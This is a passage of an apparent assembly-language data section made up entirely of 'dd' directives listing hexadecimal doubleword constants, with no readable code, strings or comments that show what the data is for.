20139A19h, 4C747429h, 6C011A81h dd 702B8CA9h, 3F2F7E7Eh, 0C2330151h, 0C6EDEFDDh, 6D3FEAFCh dd 0C8FFE16h, 5E4F1297h, 65AB3563h, 0F533AE0Ch, 0C3D67B2Fh dd 7E561EEEh, 3C64FD79h, 0A9363A38h, 13EB5879h, 2D4BFC07h dd 62CD553Ah, 19303894h, 7678F4E1h, 0EA1AEB2Bh, 0D128D308h dd 4FF1B52Ch, 969654F0h, 0FDFCF931h, 5F397AF7h, 1D197B3Fh dd 3E36DE1Fh, 2B612227h, 0EEE114E7h, 2F3C2A2Ah, 0B8631FCEh dd 7DBD3A7Ah, 71B0F727h, 3074B23Eh, 432D2E51h, 2E725E1Ch dd 93FBDD56h, 6CD1D925h, 582A220Dh, 0D8792E24h, 3431FEECh dd 0FD36364Ch, 1C2A3A98h, 0DC3D3E3Dh, 706A1D8Dh, 2122494Bh dd 1524D42Bh, 29CA2BD8h, 2DDF2865h, 3333038h, 52554D51h dd 524E4938h, 7F7E5353h, 5B5C1C4Ah, 7463615Fh, 0F63C6413h dd 1A682926h, 7A240C22h, 5D394247h, 0E203686h, 3B793A32h dd 761E3C39h, 0DD8910BAh, 2AA5CF0Eh, 2134E452h, 804AE2D2h dd 0B6292FEAh, 0B5962E2Fh, 3BBC823Ch, 30BD7F3Ch, 38393EDAh dd 4D633C3Eh, 211F1B18h, 2F2EE2ACh, 9D312724h, 2D0A2B28h dd 312F022Ch, 0D430522Eh, 6AF76E13h, 0D42272B4h, 0BB3D3EF1h dd 4E0E9D00h, 0CB4E6CADh, 0A2328593h, 0CA0228A8h, 0E6C62E25h dd 913393E2h, 35379474h, 3A9982D0h, 173F9C64h, 0BDB0F41Ah dd 7E81501Eh, 868BCC03h, 302B29A6h, 6C0D19EBh, 4ED93807h dd 0C2AD34C1h, 0B0D13137h, 0F83DCE57h, 0F5161BCBh, 320ED42h dd 2E24D7D6h, 29DA6BCEh, 0DE7D2908h, 0DD8232Eh, 0C16433C0h dd 0D12C3A36h, 433CC916h, 0F4153FCAh, 20ED5B01h, 2B23D68Dh dd 28D62ACDh, 3F0F8A6Dh, 71E452D8h, 3834CD8Ch, 9383A35h dd 0B30A576h, 6B46D35h, 4A2A6C99h, 0CBCF0100h, 7D767EF2h dd 3B29C12Ch, 0D5A5DD16h, 0DB36E2CFh, 1C36C5F2h, 0EC216CFEh dd 0B99E5534h, 4E4F2D9Bh, 93830BF7h, 4C702453h, 0B29882Dh dd 12A0AC6Bh, 3275D8E5h, 0C623BF29h, 315931F7h, 78365E37h dd 3C3D4C0Fh, 19769474h, 664FC570h, 55607ABh, 0EC74C37Dh dd 303C69FAh, 4837A670h, 7FFF6028h, 3D3F7B36h, 2C5DF83Dh dd 20F72A7Dh, 0DBDFDCF6h, 0C9CF244Fh, 0CEF2AAAh, 0F7E7A57Bh dd 74331675h, 0F6DF3235h, 3CC4C6F6h, 4B3B70B0h, 6E76A44Dh dd 22226560h, 0D7EB49CCh, 0F3E6528h, 132FCD28h, 0DBCD2370h dd 0CBFF1DC4h, 363EF8C7h, 1B6A3998h, 19772C5Bh, 0A048C84Dh dd 0A2643827h, 0A616ACB4h, 0B2A5BF0Bh, 0A0D19410h, 56890B87h dd 5AC9125Ah, 0EB5DBC65h, 31411B33h, 1160972Eh, 497F636Eh dd 72685716h, 776CAF40h, 0E168AF8Eh, 633465F2h, 6DFA722Ah dd 4D6F3B7Ah, 4C9B470Fh, 6F5F1FA1h, 162B13F9h, 0C8422CEDh dd 4049E651h, 339E36AFh, 317A3B31h, 78321EB7h, 3D723F38h dd 6B5A5B76h, 735F4D31h, 22B35749h, 2727BD2Ch, 43492C68h dd 5F454359h, 673234B8h, 44585446h, 2B485C5Eh, 5C507811h dd 1E272D09h, 2EE4A119h, 0D426E410h, 0A7BD821h, 3BD22E2Bh dd 33D231E7h, 70BCF708h, 0F1D4D23h, 7E303F75h, 11AE4D3Ch dd 4B7615B9h, 5BAD1122h dd 3176AE2Eh, 31723BA3h, 857069E9h, 356ABA31h, 1566BE06h dd 0B41465B3h, 952F613Eh, 7E962643h, 0BE21B264h, 0A111512h dd 7C2E3B1Ch, 3E0CF8D2h, 357132D8h, 0ACBC3385h, 3A1D361Dh dd 13D73A6Fh, 3B5A1B2Eh, 71F6493Ch, 0CF71A46Bh, 3B2C1B69h dd 54F12B19h, 35013C40h, 8D0845D4h, 83D3B5Ah, 0F5D6F3Ah dd 4E2C0D1Dh, 83712812h, 77264E6Ah, 4EF9789Eh, 0D10E9FD0h dd 3633CE2Dh, 24B36C2h, 29763AC8h, 187D2F7Ah, 0E089E6Ah dd 21567969h, 0EC2A110Ah, 9C0021D9h, 0A600702Bh, 0B2234E1Bh dd 21B70F26h, 853EBCE0h, 297D1378h, 4D285569h, 48346BEEh dd 2E4273A9h, 963024Dh, 207B046Bh, 45EC0E16h, 754B5A5Dh dd 1A22C934h, 38309855h, 0CC4EFE0Eh, 0B5ED99Fh, 823CA9E3h dd 61228530h, 2A12AA28h, 91213C52h, 3758253Eh, 65423B34h dd 2BD1313Ah, 0AF469C38h, 7A1D9C2Ch, 0DD21A0CCh, 0EC415AE1h dd 0BF28688Fh, 0AC3B6D8Ah, 9C97EB20h, 5E772272h, 3B7947D6h dd 6A615D77h, 633E9818h, 7C20BEB6h, 0EF2C1360h, 1A2DA662h dd 0D1A20DE8h, 2F12BA8Ch, 0F5E397A6h, 3F590833h, 3DBCE790h dd 0E1BEB3Fh, 801EDE08h, 0A5CF3570h, 9803AA3Bh, 3F2CAC78h dd 310CF6C5h, 2037C541h, 0BF3DE21h, 38CCAA38h, 5E8FD628h dd 685E1C2Fh, 0BFCA3722h, 568E2417h, 0C33D2B5Fh, 8E2F1EA4h dd 2B3305FDh, 442DD20h, 394D4139h, 0B9280D2Bh, 1239AF2Eh dd 22A02BA1h, 265511E2h, 284C41C1h, 0BB2C696Bh, 7791357Fh dd 37755432h, 3BAC5332h, 0E6B21C6Eh, 8C8C1AAAh, 2161841Fh dd 25654E81h, 792D868Dh, 2D5D982Dh, 5C8B0CDEh, 0F4F73273h dd 0F21C3736h, 7D3E7B35h, 7C0B919Eh, 0C03EF61Fh, 39CB7223h dd 1B0798E7h, 355FE912h, 7AAF3A2Ch, 20B22623h, 30B354D9h dd 0BC383AD3h, 0B1B42B6h, 7F23F9A2h, 2CA9212Ch, 0AD2264AFh dd 0E12AA338h, 335B3B16h, 2346FA0Ah, 3666BF20h, 3AF86039h dd 8B56631Ch, 4FB51DDAh, 23E3B2F7h, 1B22062Fh, 0E7012C35h dd 27CC08C3h, 0B838B1B9h, 3C759DB5h, 33DD6865h, 2A3A0EBBh dd 0ADB9198Eh, 3F122F16h, 3B168968h, 5471870Eh, 120872AFh dd 3E30201Ch, 32343C32h, 6D3D2939h, 0EEC1F28h, 10CAD587h dd 306A0F24h, 0E5A26220h, 0D1A62FC4h, 25F933C3h, 3330EDC0h dd 7653121h, 3B701FC3h, 3F082B4Dh, 903C787Dh, 19FB5ADAh dd 4F33261Fh, 859EDA17h, 136AA908h, 3E5A2C2Ch, 0E22C335h dd 7AD68D34h, 554A3C5Ah, 0B7FEC339h, 63F99A6Dh, 4221852Eh dd 221523CAh, 0C3452885h, 302CD559h, 0E303CF6Fh, 333A30DCh dd 3F3E9D0Fh, 89383B16h, 0B4191D48h, 0A9D21A1Fh, 0E8F62620h dd 0C8542229h, 20ED285Ah, 3140C97Ch, 36FE3339h, 1AE9BCFEh dd 0EF1CCCD3h, 0C910E81Dh, 23273A1Dh, 0B8AEF721h, 6EB22736h dd 0FFA03AD4h, 0AD2DCCECh, 24EAB9E2h, 6CBEE736h, 1FE9A73Dh dd 863D7FEDh, 1CCD1620h, 9FBF25F5h, 0BFFE3224h, 0FCA140A8h dd 36C42DEDh, 216D3312h, 5D610795h, 5DD23D34h, 1B42247Dh dd 1EED9717h, 2054DF9Ah, 0CE73DAA8h, 2A49C6F3h, 2C4D1459h dd 0B711303Bh, 0D62AA231h, 20E3914h, 36FF22FAh, 0CCE9171Ch dd 60607528h, 0D72C032Fh, 2C26B3h, 2EDD9A67h, 33F02A1Eh dd 0BE2C460Ah, 205C32A7h, 0ABB73EA2h, 0CD3B6BD9h, 1BBA1D67h dd 0F221FDE6h, 20393627h, 0FD7B17A2h, 200B622Bh, 106F32B8h dd 465F6725h, 0BC8F3E5Fh, 959A0E6Fh, 234E198Dh, 89233370h dd 3B27E575h, 8ABC2878h, 7C67C6DCh, 1010F6D8h, 37E23D4h dd 7B983h, 2D4B7DF7h, 0A395096h, 24F634DFh, 6216607h, 0F11A2A12h dd 906D78A6h, 0C8D9623Fh, 0BD18B613h, 0E1BCC8F7h, 0FE324860h dd 592A9930h, 2404B1F6h, 443E56D4h, 22870A8h, 8DE8AA3Eh dd 0F2316F2Fh, 29DC7158h, 3BE83781h, 7D38FFB9h, 15FB3F6Ah dd 221F16DEh, 4E285623h, 28EFAD24h, 0D148E7C1h, 32DC5D2h dd 0B490F261h, 302B76F0h, 293A399Dh, 0BB59217Dh, 1E7EB915h dd 1B6EA846h, 0E6872126h, 58F53389h, 0EF2E29A7h, 23F9EF20h dd 0D7A2D9B5h, 0BB5A789Ah, 1BBAFA38h, 1EB95D87h, 70A323B5h dd 6661871Fh, 0A881A407h, 2D8CAD84h, 536AD82Ch, 3475CBCEh dd 3879F8B9h, 9C9D3A3Fh, 0DD58F3C0h, 0ADAB071Ch, 272D4206h dd 214821E1h, 58A5ECA1h, 31312F22h, 79395236h, 2D692F12h dd 43BDB3D2h, 0E3161EC6h, 0AB0F3D68h, 643B0675h, 66AA3E35h dd 7D7B2E29h, 0C5C734A4h, 37B037DFh, 3E34B63Dh, 3C383CFEh dd 3BB23DB9h, 0F2F64F18h, 2E00E0FDh, 0D1B0124h, 1D171915h dd 12122D11h, 0E7A0C72h, 6336087Ah, 5B076305h, 3F035B01h dd 236F2177h, 1F5F1D67h, 0AC18A023h, 0BC14B81Ah, 13B12C16h dd 0F990D8Dh, 8235099Dh, 0FA04820Ah, 3E00FA06h, 20CE26F3h dd 1CFE22C6h, 591E5418h, 8612A91Ch, 2A16CF10h, 2F0B2115h dd 970F0E09h, 0CF04D80Dh, 87018E06h, 0FF26E503h, 4A213720h dd 911D871Fh, 3219C61Bh, 7C141F16h, 0EA108112h, 340CDD0Eh dd 38352634h, 3F3B6A38h, 2B090E37h, 2F912D64h, 33681123h dd 53E6A1E6h, 23E31A09h, 0CF02D2ADh, 0F2AF3E3Eh, 0BC60F575h dd 0B32FC6C1h, 0A74F304Dh, 0E0F692Ah, 21836877h, 74721F23h dd 8911C0CBh, 7839CD28h, 0A9B124FFh, 66CA372Dh, 13381938h dd 31076322h, 121C143Fh, 91D6B2EBh, 0DA20E744h, 0E2BD627h dd 0DCA72B9Ch, 0D96029A5h, 0CB3436D6h, 0BA30BCC9h, 7DB53FFEh dd 42DDB430h, 20198EDEh, 242F23EDh, 2C0362AEh, 2D4EC279h dd 0E8D9962Dh, 0F673F22Ah, 39373A31h, 5C2E623Eh, 71CEB56Bh dd 5F480530h, 9364B77h, 3426444Eh, 6B2F2948h, 25440D59h dd 6397103Eh, 0F3B57054h, 0B03E6F1Ch, 17291DF4h, 17F5181Bh dd 0E4B0611Eh, 9F737427h, 6E13594Fh, 7E273B5Bh, 0D25B7123h dd 47CA1032h, 0B4D13837h, 0EE143C44h, 3B09E423h, 0C1233F32h dd 0C5422B00h, 297A3126h, 294A5542h, 24CF79AEh, 34656374h dd 295239D6h, 93CEB6Ah, 901E5E2Fh, 7A0E2A39h, 1E2F0675h dd 26B677h, 878A2D49h, 7CA62E0Dh, 14131635h, 3C371230h dd 18BF4EB0h, 0AB3D807Fh, 95C9121Eh, 0A92CAB22h, 0E61CFD0Ch dd 2BF12628h, 0AF2F6723h, 0B93377BAh, 37FE0FEDh, 39F81337h dd 303EE633h, 0CC121CC9h, 0DDFB709Ch, 39EFF6A6h, 0FF39AA8Bh dd 6C3D817Ah, 2CCE9891h, 0FB3D7697h, 5A38B273h, 0B59F7E3Bh dd 966C1B53h, 1203B6Ah, 0AC73EA11h, 2138036Ah, 2D346DA1h dd 0F00B3B2Dh, 0B5242146h, 0B93343B8h, 0C2F4B8A0h, 97873D3Fh dd 1B3F3A41h, 2E3157F8h, 0E8142F25h, 205522AAh, 4ED02EA8h dd 49EC097Bh, 4337BB36h, 0F83BB938h, 45F9B539h, 0F1E19DEh dd 0EFB2B121h, 63AD2528h, 782E290Ch, 1CDFA67Ah, 0F43261EBh dd 74D62532h, 3BB33838h, 61B73462h, 6466F40Ah, 0AADEDF1Fh dd 78AC207Dh, 5C29B52Ah, 2C552F70h, 10B3162Fh, 3E741CB7h dd 15D13A96h, 0DE319D60h, 119CCF08h, 1EA56FDh, 0B3B6A923h dd 0AFA2AFE7h, 7D7E1CEAh, 0C77C188Ah, 3554DA8Dh, 36F8C422h dd 38961C5Bh, 3D821B1Fh, 7B9B8C39h, 8D2F02B5h, 8A2B6285h dd 8C2A6188h, 344D2505h, 30520F1Bh, 2B355C93h, 56032D39h dd 65D76F2Eh, 9CA79D0Dh, 64240DE4h, 74BDCD03h, 0B02B3528h dd 88257F7Ch, 0B8DE31F5h, 67023571h, 51299E33h, 313EFD25h dd 0DE14761Fh, 354B1C15h, 0BAFCC72h, 6C193C65h, 64C5043Fh dd 0DA5912AEh dd 0F228BF60h, 0BA582E77h, 0C16D3A38h, 7D3A9BECh, 23707593h dd 4459CB72h, 0A5A8693Ah, 2DA209F4h, 672C512Fh, 0CAB130B0h dd 974C6C36h, 0FA0E516Dh, 1C3BFF79h, 0CAD4F619h, 6A43ACA3h dd 861AD2Dh, 7A3B2209h, 2C0D68EAh, 0F07327F0h, 2DF73520h dd 0B6BBCF5Bh, 5AB1B0B0h, 8F085995h, 3B346835h, 0FF6F3360h dd 6F0E7D3Eh, 526C6C79h, 0F77627F2h, 21F63122h, 2DFA58A1h dd 83B8B06Ch, 8D90B1Bh, 34E8492Bh, 64E0709Fh, 0E53D6828h dd 0A99603Eh, 565E7D07h, 14375846h, 45BBBC6Ah, 723E36BCh dd 980312BFh, 48944B58h, 400AA34Fh, 2E2B6223h, 2F2B2AD9h dd 5E1E2F79h, 5C704045h, 5A5D6F44h, 0BDAABB4Eh, 4D1B7C24h dd 596F2A72h, 0A5836225h, 69E82737h, 5E4F2E4Dh, 5C1E29ADh dd 0B8217E31h, 0F9DF7A26h, 16D3A7BAh, 18BE3BA5h, 1F2B1C05h dd 0B81DC924h, 6020A471h, 291860ABh, 79AD582Ah, 3533B815h dd 693596BAh, 3B2FD13Bh, 77BF1C3Bh, 0FE651ADCh, 0E4AA101Fh dd 6682F08h, 0C3DD36Bh, 0C1BBC42Fh, 0AE32D22Ch, 4236D15Eh dd 3AE9F49Fh, 1AAE4E37h, 436C153Eh, 0F1345E97h, 0F937AC26h dd 0E6136B22h, 3924E922h, 32DF27E1h, 9EDCE323h, 7A6C677Dh dd 392F0AB9h, 0BAB1B42h, 22001462h, 2E27122Bh, 792FAD35h dd 128A272Bh, 0A0EDC609h, 21B8BA0Ah, 0B3346711h, 1EEF68F1h dd 0F7D73565h, 121C140Ch, 293FDCF8h, 12AD137h, 0B765D00h dd 2C2E910Fh, 20315B24h, 32264717h, 0FC0DC150h, 3E4E3B9Fh dd 0F611192Fh, 0A2021061h, 0FCDD2059h, 8B2A2887h, 2D2E0C2Bh dd 3272332Fh, 3E313433h, 38A93EDCh, 5D393C3Bh, 3D781B52h dd 44007C31h, 4A364B41h, 5A0D5CE5h, 1312476Bh, 5859BF0Eh dd 37F61512h, 5EB84443h, 3D1C5A3Ch, 75793DB7h, 1A6D7F73h dd 43216858h, 712C792Eh, 73D0EE22h, 0B2247826h, 3F6C3533h dd 1B38363Ah, 0F021193Fh, 0A806358Fh, 9C3D1917h, 496265E7h dd 32D97206h, 23183BC8h, 4F0A480Fh, 62BF7153h, 0BD241175h dd 0F2BE3138h, 0C6BE3148h, 3A8D9D39h, 68616611h, 1F33A426h dd 40674267h, 2E284627h, 0B230E46Ch, 0F064302Bh, 3D351CB3h dd 3C3F3C1Bh, 0A9E30D7h, 0C982942Eh, 1B009A5h, 7B02A6AAh dd 0AC7D3AAAh, 36D82C04h, 0BAEC1AB6h, 537C171Fh, 0B910BF68h dd 0A5AA71Ah, 2D5F5B4Dh, 0EB0726E3h, 2CEB1B21h, 46383968h dd 230F2727h, 243D7034h, 299DDE64h, 0D43D3EE5h, 4B2DFEFAh dd 224CCAF4h, 1AD225FEh, 572E21FFh, 78A43D1Ch, 444F23BCh dd 0DB603890h, 9F32F96Ah, 0F941D13Fh, 3BF1B638h, 0A919DCBFh dd 4A5143Ch, 0AE27E42Ch, 0FA92AE6h, 0E83A2E96h, 0BF7A31ADh dd 62B741Dh, 6921262Fh, 2B7D719Bh, 59D4D6Dh, 35243F0Ch dd 0C520234Eh, 5D00A56Dh, 3EF33DB7h, 5717E3Eh, 353E592Ah dd 181B7B3Fh, 9C22BD4Eh, 1840FF63h, 1896DE0Dh, 7ACB7573h dd 26E715E6h, 2D35C22Dh, 67276074h, 7A19BB70h, 0B8235A74h dd 1AFA6875h, 44DFF8B6h, 13DC4642h, 5D3F07E5h, 7D4A0DE3h dd 0AB30E9DBh, 712E5004h, 0E94F19B8h, 501EB6CFh, 13BB3CB8h dd 0BF39BC63h, 8C553BC8h, 5E135438h, 0B2B51667h, 0F21BEC00h dd 7A210BBFh, 62B1241Ch, 62BEE403h, 3E5D68B7h, 162B5008h dd 2EA0288Bh, 0ED135FDAh, 0D917C311h, 39087624h, 6918171Eh dd 5647E2Eh, 45002F6Eh, 45FB6632h, 9E81229h, 182B0F14h dd 141E8E31h, 69CB2E51h, 0C231460h, 0C43E2E1Ah, 282B1C40h dd 0B4370064h, 0AA33209h, 380B143Dh, 39556E14h, 13FE3176h dd 1B2EA10Dh, 75094F84h, 2F7821C0h, 872A7E04h, 611AD926h dd 33642930h, 193E6503h, 0B1B48A9Ch, 93A731BAh, 82B70DBEh dd 8779C50Eh, 0FE8477Ch, 1C008E9Ah, 1D1152C7h, 0D6401992h dd 17989D39h, 0B11099A8h, 1231B638h, 0C14E32BAh, 88E3283h dd 0C8F3AE7Ch, 3D018F13h, 0EB31CF43h, 189E5012h, 772E9707h dd 0A55CEB57h, 7CCB3F4Fh, 501F6FBEh, 55888C01h, 9147F625h dd 58EF2A5Dh, 305BE12Dh, 3447E89Bh, 0C83742D0h, 48C03A4Dh dd 93398A3Dh, 6E0F1D6Fh, 3F42F120h, 524B25D0h, 2B5B0E28h dd 0DB1C4DFCh, 0E324430h, 0B1364435h, 6A7ABC37h, 1B720D51h dd 7AED4D0Bh, 0CAAAA19Fh, 0A561B48Ah, 306A98DAh, 4F7A2DABh dd 0FD9B4FAh, 0AABC1E23h, 1639A413h, 580DC519h, 2DA02EB4h dd 0B9F6E028h, 0A5279ABBh, 0DEF115FCh, 2D2EABD3h, 0B2CAA406h dd 0F4DC39F5h, 394C4F53h, 3EFCAB39h, 2D1A3E17h, 111E0Dh dd 24432021h, 4943540Bh, 2E2B4B5Dh, 0B265F889h, 36633005h dd 373B36h, 0BE157A3Dh, 80A73D31h, 1DD61DA2h, 2B222510h dd 24262624h, 0EB622429h, 35AD4402h, 15322F02h, 7B6E5C34h dd 2F3AF7D1h, 0BDF8583Dh, 0F7D90018h, 2622A2A1h, 22492CAh dd 0A3FF4D26h, 4B2D332Bh, 5114B257h, 7EB311A5h, 7ABB4671h dd 0D7285E3Bh, 37191E4Ch, 2448F65Ah, 78CD1C27h, 4E06A27h dd 20390C28h, 0F102E09h, 36B48538h, 41321593h, 31E83117h dd 0DB5426BAh, 0F0E3283Dh, 1A2AE72Eh, 3BF22324h, 499DC221h dd 23F23E0Dh, 0EE68C24Bh, 3BC7CE26h, 0BD44D29Dh, 3B296338h dd 300E1054h, 0CB783389h, 9E25F40Eh, 0E935710Bh, 7B3A0738h dd 0E3F32648h, 62214C2Bh, 5D2D4470h, 403D3DFEh, 9EC4F40Ch dd 2836591Dh, 0A6BECC4Fh, 0D93E5125h, 395F2E3Bh, 4DAFE2F2h dd 443E3624h, 20895720h, 0EF502B44h, 19CF563Ch, 0E060086Dh dd 16335622h, 5D28E6BDh, 2D9C0C3Dh, 0B3613DAEh, 6536915Ah dd 7D872BDDh, 1C4738F2h, 740FDD3Dh, 359B1CBFh, 28230254h dd 0C8E644AEh, 0B9A0D009h, 106C286Dh, 0F4009EF9h, 72B616A4h dd 6E1B9B99h, 9E3F347Eh, 0D09A12C7h, 23112220h, 59FDA0DBh dd 0E9A279h, 0AED0872Eh, 3133DF23h, 8B3434E8h, 7A7E3B38h dd 127D3D4Ah, 191DF995h, 2BA0756Bh, 6827257Dh, 2B152A26h dd 2F780229h, 30302E2Dh, 3E373527h, 90CD3A36h, 0DE3F3CDCh dd 1CD0193Eh, 2321A91Ch, 27258188h, 532A26AEh, 2C3D7928h dd 0A5313BD6h, 74323223h, 7D393626h, 3D8B2C71h, 56717754h dd 6C755977h, 6F532224h, 0A5621625h, 2C170E6Dh, 0D87F6847h dd 0CBCCAC7Eh, 8F3B535h, 18B7B769h, 1B3E3E99h, 3B9ADB1Eh dd 2322227Ch, 0B7CE3A26h, 2A422829h, 6D854D2Dh, 6BF3B037h dd 36663775h, 3A3B7139h, 3FBF0396h, 321D9D2Dh, 0A305209Eh dd 0A7398E23h, 2AA83C27h, 2C2DAD27h, 0CA9B30AEh, 0B7C52E12h dd 3AB8DE37h, 943DBDE1h, 0D51C9AEDh, 0A09A1F9Fh, 25A58722h dd 0E87F910Eh, 8604AB2Bh, 19B8196Fh, 6C25B373h, 0C3121FB2h dd 15B733BAh, 9F338FD3h, 6017F209h, 0AEE736A4h, 89C9CE3Dh dd 0ECAFEA69h, 332F6C59h, 56E4B235h, 2436F664h, 1DBAAAD1h dd 5CD8B17Ah, 141F305Ch, 0CB3A2621h, 322F640Dh, 0DF0EFE68h dd 0C7793FADh, 66A2DD7Eh, 2B8AB7E4h, 3DDAD7C8h, 39DC883Bh dd 802D1D24h, 24C023CFh, 0FB2D4483h, 9B622EC7h, 5E64CC08h dd 0A1F0FE29h, 77683247h, 38A84A78h, 33EE39C9h, 1119E9B5h dd 0AF25E30Bh, 9A0CD62Bh, 21E77EF9h, 25E323E5h, 68EB27E1h dd 963CF129h, 554C6EE2h, 0F460D33Fh, 14DB5836h, 8B22E156h dd 40C32A65h, 71FF13AEh, 90A03AFFh, 69FFAA09h, 77BADAFEh dd 671655h, 5816B129h, 86E3FDCh, 23DE5D1Ch, 63333D6Ch dd 234E0502h, 797B2548h, 54C6A97Ah, 0B7B93211h, 25161D10h dd 6B39386Dh, 0DDA24B9Ch dd 0B9D1471h, 6D00ED12h, 0A6A144FBh, 4B283B3Fh, 0F58AD2Ah dd 0F7B2236Fh, 22747C37h, 6631BD38h, 1CDDC3C4h, 59964062h dd 0D4AB479Eh, 7750D019h, 6522B8F4h, 6D38376Ah, 0CE6179B1h dd 85A46527h, 717C776Ah, 57FB70Bh, 339B4B87h, 21304295h dd 8AE824ABh, 86E40923h, 6A6CB569h, 20D06CA0h, 9E4FCA0Ah dd 64BF90E4h, 3CC4F811h, 403E8E95h, 3B11CF34h, 2CF210C0h dd 0AA6217D5h, 6BFD08A9h, 7F28BE6Dh, 1C321189h, 3E908986h dd 32FC92CBh, 0F75E2DDCh, 549E0512h, 1360265Fh, 982A2833h dd 2B4F2DB3h, 2F2ECFAFh, 0B6F7667Fh, 3079204Bh, 3BD93E37h dd 31B93018h, 79731F3Eh, 6B1A1D9Eh, 0D6322166h, 0F382667h dd 0A7872A6Bh, 8739EEC5h, 74DDAA32h, 0AD3937A4h, 3DBCACE6h dd 0FE1DFE49h, 841F9E88h, 27E2764Ch, 2886CEADh, 0E256B5Ah dd 314A0E43h, 1C91EBD8h, 99A29511h, 0B5A5539h, 1E66170Dh dd 1F9F7C1Dh, 4A1331CDh, 16362555h, 92A5959h, 4579DC24h dd 8B3A15CEh, 77863D25h, 0A3540C38h, 0CF3FA849h, 8BE51D8Ah dd 0B756511Eh, 0BF173422h, 0D52D7C11h, 2F1D3A8Eh, 72EE082Ah dd 47239633h, 4E2F9937h, 2F3D268Bh, 4CE456B4h, 20D44AE1h dd 62AD2EA2h, 0C2D8AC32h, 59642B26h, 0FFB36728h, 3674D8CDh dd 0BA2C40BDh, 2413AB45h, 9DC5D752h, 7448BE01h, 0C522751h dd 767826E3h, 0EE76CFA2h, 90D62E29h, 46CF2CA6h, 0E836E907h dd 82C2CDA0h, 1B3F302Dh, 94D4961Eh, 0DDD5B8E1h, 0AFAF9D24h dd 0D9A1A1A0h, 2CC06DDBh, 36C8F0E6h, 178E3620h, 0AA988AFDh dd 343A6E6Eh, 0DFD71C90h, 0F3223FF6h, 6047371h, 26410857h dd 51839E1Ch, 38131187h, 22F1B763h, 45113862h, 3F791439h dd 351C6F17h, 3C689FA6h, 0CC252366h, 2B36270Ah, 0A62C6BE6h dd 0A7D9DF63h, 63345A6Eh, 6F392906h, 31403BECh, 0EC0B7A1Eh dd 20C6F64Dh, 9CE07B37h, 0B25467Fh, 2D08219Ah, 712E786Ch dd 29319FA1h, 3027E63Bh, 29983C98h, 235AD63Eh, 23204FC1h dd 362361C0h, 17778956h, 0A9648929h, 702EDDB0h, 686CF2BAh dd 0C6C9F650h, 0F4718638h, 303E3277h, 111D131Bh, 1D212F1Fh dd 262A242Ch, 2A262828h, 2E2F2C24h, 0FE3386C6h, 0A72CD603h dd 3A474661h, 3D3BEF37h, 0C99544D7h, 0BC9718h, 0EF93CB27h dd 8A2E2138h, 284C2A0Ah, 321CA2A3h, 0DD362332h, 39EAFBE9h dd 35B7F5B1h, 0ACCFD7D6h, 211F941Dh, 246E22ABh, 27E61C24h dd 2E7368ACh, 659C2C2Dh, 2A3B3722h, 3D113E30h, 343E1431h dd 133A0897h, 5616185Dh, 26732925h, 227A2F2Ch, 232B4D20h dd 432D2D21h, 3D353091h, 33423634h, 3C3E453Fh, 383AB936h dd 0C1A1D97h, 43B5231Fh, 263627A2h, 21ADB424h, 6F342FAAh dd 0AB09A117h, 9F0D950Bh, 8301890Fh, 0F105F803h, 0F824C107h dd 0DA18EF26h, 341D251Ah, 0E113B1Fh, 10151913h, 62096717h dd 5C0D6D0Bh, 4601430Fh, 0A805B103h, 0B7229F07h, 0E126A824h dd 0F31AEE18h, 0C51EC41Ch, 6C112110h, 5F434078h, 24E65650h dd 3C964613h, 4C292A19h, 8C2FAA0Eh, 7E360A23h, 2C202E35h dd 87242626h, 0EB435E08h, 7C0E4558h, 31727D63h, 44C6ABD5h dd 0D438390Ch, 9F3CF93Ah, 13199720h, 0E001230Ch, 2C222E2Eh dd 0EB2B2822h, 9028361Bh, 335D078Fh, 3930DBCCh, 0E566E737h dd 0CB304C64h, 4D89343Bh, 3700EA11h, 31318138h, 83441D66h dd 3E837423h, 0DE6EC051h, 0DA268C6Ch, 0D666D868h, 393F8464h dd 2F4C693Eh, 1BE92DE2h, 2C562EE6h, 5967141h, 0FC2A2A79h dd 7F3D1E0Bh, 7AA35A3Bh, 0F01166ADh, 1604DE06h, 0BB0FED1h dd 8E4E3B3Ch, 0DD123D5Dh, 36680514h, 0CA0C7854h, 78087661h dd 0F645F07Eh, 97A213E1h, 970B9D4Fh, 18674A5Ch, 0EA2CF01Bh dd 2610DC2Eh, 14293011h, 0D06F43A5h, 8F28AD02h, 0BC86B1BDh dd 0CDE23633h, 0C83EB97Eh, 0A33FBD6Bh, 851E9AC3h, 32A1CF8Ch dd 2B24AC81h, 2C297BD8h, 2C29128Eh, 0B0285B25h, 53B65C30h dd 63BAFD24h, 35BD929Fh, 55103E3Eh, 33F4181Ch, 40052360h dd 0F907A22Ah, 22A02929h, 0F8143CEDh, 0BF254731h, 7EF02273h dd 383B3A35h, 923B78B4h, 593EDA1Ah, 3232130h, 3622A24h dd 0EBAF3D28h, 2F97A823h, 0DB641933h, 334AB757h, 0E1BE3AF8h dd 69303D3Dh, 951B970Bh, 48A32851h, 317A337Ch, 3D753F78h dd 0DD123B1Ah, 4D264F0Ch, 31224724h, 0D2170C20h, 0AE91BA97h dd 3F711B2Bh, 61F02A95h, 0F54CA326h, 0D62A2721h, 0A12D8BFCh dd 36B2A3A3h, 0DD6533A2h, 0F93A74BCh, 8D63DF4Fh, 9C4613Fh dd 2F180BA2h, 6CE36412h, 0AB25DB2Ch, 1FB3EC5h, 0F01C6635h dd 6730B2B8h, 28376660h, 6C6C6C9Dh, 0FB6E223Dh, 907E09BAh dd 7229129h, 3F269542h, 232B292Ah, 2F3638D3h, 59DABA71h dd 0C863250Eh, 33DAD92Dh, 3D0DCDB7h, 25143CC0h, 222E2010h dd 262A242Ch, 2A262828h, 212D23D4h, 3D313F2Fh, 39353B33h dd 35393737h, 3E32C33Bh, 1D131B30h, 212F1F11h, 252B232Dh dd 23292729h, 45D3412Ah, 31738097h, 94503232h, 5D683336h dd 3D193BB3h, 974D6E3Ah, 905F1F5Dh, 0CC3DC920h, 0D726F926h dd 0F4C7C2A9h, 0F01DD1D3h, 0B4A0A061h, 0B92DB508h, 0FE3A8AFDh dd 24D4F121h, 1F111D13h, 232D212Fh, 3C94252Bh, 0F4BFB220h dd 6DADDC77h, 2F70B37Ch, 6D13F564h, 0E809B808h, 691E1BFCh dd 8A085F1Ah, 0BE843540h, 2911AF07h, 250AB8A6h, 4C220624h dd 0F5FB94D0h, 390AAC35h, 0FF221CAAh, 0BE94307Fh, 811ADC35h dd 34703A95h, 307095F0h, 21CBA8F7h, 69CE2875h, 937FF93Bh dd 7764F733h, 69821D0h, 0B7296B71h, 4E085516h, 0C352D0F5h dd 242766B2h, 784ECE74h, 4644F32Dh, 2C2B7D2Ah, 